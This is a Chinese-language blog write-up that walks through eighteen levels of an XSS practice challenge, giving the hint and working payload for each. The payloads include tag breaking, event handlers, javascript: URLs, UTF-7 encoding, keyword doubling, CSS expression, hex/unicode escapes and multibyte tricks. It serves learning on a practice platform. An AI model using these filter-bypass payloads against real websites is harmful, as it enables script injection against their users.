XSS Challenges

0x01、前言

最近发现了一个挺好玩的XSS练习平台,大家可以没事了玩一玩。至于相关知识,已经在以前的博客上介绍过,大家对于基础可去看看。练习平台基础知识,好了,不多说,我们开撸

我们要做的就是alert(document.domain),还有提示,我们只要在搜索框输入即可。
我们可以每次都输入一个数字例如123测试下

0x02、具体实现过程

1、首先输入123测试我们输入存在的位置,查看源代码发现并没有什么标签包尾

<script>alert(document.domain)</script>

第一题比较简单,这样可直接弹出

2、继续先测试,发现被放进了标签里,那么我们首先得闭合标签

"><script>alert(document.domain)</script><"

也可以直接在标签里触发:(单击search输入框)

" onclick=alert(document.domain) value="asd

3、测试发现没有被标签所包含,所以输入最简单的进行

<script>alert(document.domain)</script>

发现<>被转义了,

Hint:The input in text box is properly escaped.
可以用burp进行抓包,将p2处继续插入,可以弹出

<script>alert(document.domain)</script>

4、Hint:invisible input field
发现一个隐藏的提交框,复原后进行测试发现p3被标签包围,和2差不多,闭合标签

">;<script>alert(document.domain);</script><"

5、Hint:length limited text box
测试还是得闭合标签,并且修改长度

">;<script>alert(document.domain);</script><"

6、Hint:event handler attributes

测试发现被标签包围,老套路

">;<script>alert(document.domain);</script><"


发现转义了><,那么我们可以使用on事件在input内触发

" onclick=alert(document.domain) value="asd

7、Hint:nearly the same… but a bit more tricky.

继续测试,发现这次”和><都被转义了,真是太可怕了。

" onclick=alert(document.domain)

依然可以,因为第一个符号只是被当成显示的内容所显示出来,换其他字符同样可以得出

8、Hint:the ‘javascript’ scheme.

进行测试发现输入的构造成了一个链接,

使用

javascript:alert(document.domain);

当点击这个链接时,会构造出弹框。

9、Hint:UTF-7 XSS
必须使用IE 8.0 进行提交可以实现

具体方法:
XSS CODE:  <script>alert(document.domain)</script>
UTF-7 XSS Encode:  +ADw-script+AD4-alert(document.domain)+ADw-/script+AD4-

将 UTF-7 XSS Encode 添上 UTF-7 Bom 让它成为 UTF-7 的编码

+/v8 +ADw-script+AD4-alert(document.domain)+ADw-/script+AD4-

Bom 与 Encode 之间有一个空格
在bom与encode之间也可以存在其他代码,
如:+/v8 just for fun +ADw-script+AD4-alert(’90sec’)+ADw-/script+AD4-
如果是POST提交,就可以直接把 UTF-7 编码字符提交出去
如果是GET方式,得先把编码字符进行URL转码,因为浏览器会吞掉+号

10、Hint:s/domain//g;
提交之后发现过滤了domain,可以进行双写绕过他

" onclick=alert(document.domdomainain) value="asd

11、Hint:s/script/xscript/ig;” and “s/on[a-z]+=/onxxx=/ig;” and “s/style=/stxxx=/ig;

分别输入上面两个常用的发现script转化为xscript、on转换为onxxx

"><iframe src="javascr&#09;ipt:alert(document.domain);"></iframe>

可以弹出,避免使用了script和on

12、Hint:”s/[\x00-\x20\<\>\”\’
经过测试,过滤了尖括号、双引号、空格

``onmouseover=alert(document.domain);

onmouseover属性在鼠标指针移动到元素上时触发。

13、Hint:style attribute
将<>和”进行了转义
考察的是CSS样式属性的XSS,在CSS样式中利用expression实现JavaScript中的onmouseover/onmouseout事件

expression(onmouseover=function(){alert(document.domain)})

在IE下实现。

14、Hint:s/(url|script|eval|expression)/xxx/ig

正则过滤了这几个敏感数,加入注释符即可绕过

expre/**/ssion(onmouseover=function(){alert(document.domain)})

15、Hint:document.write();

对><进行了编码,而且处在document.write()函数中,可以对><进行16进制编码

\\x3Cscript\\x3Ealert(document.domain)\\x3C/script\\x3E

16、Hint:”document.write();” and “s/\x/\\x/ig;”
和15差不多,就是进行了Unicode编码

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

17、Hint:multi-byte character
思路跟php宽字节注入一样,输入某个特殊的字节,吃掉双引号,%A7闭合最后的双引号
1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

18、Hint:us-ascii high bit issue

%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE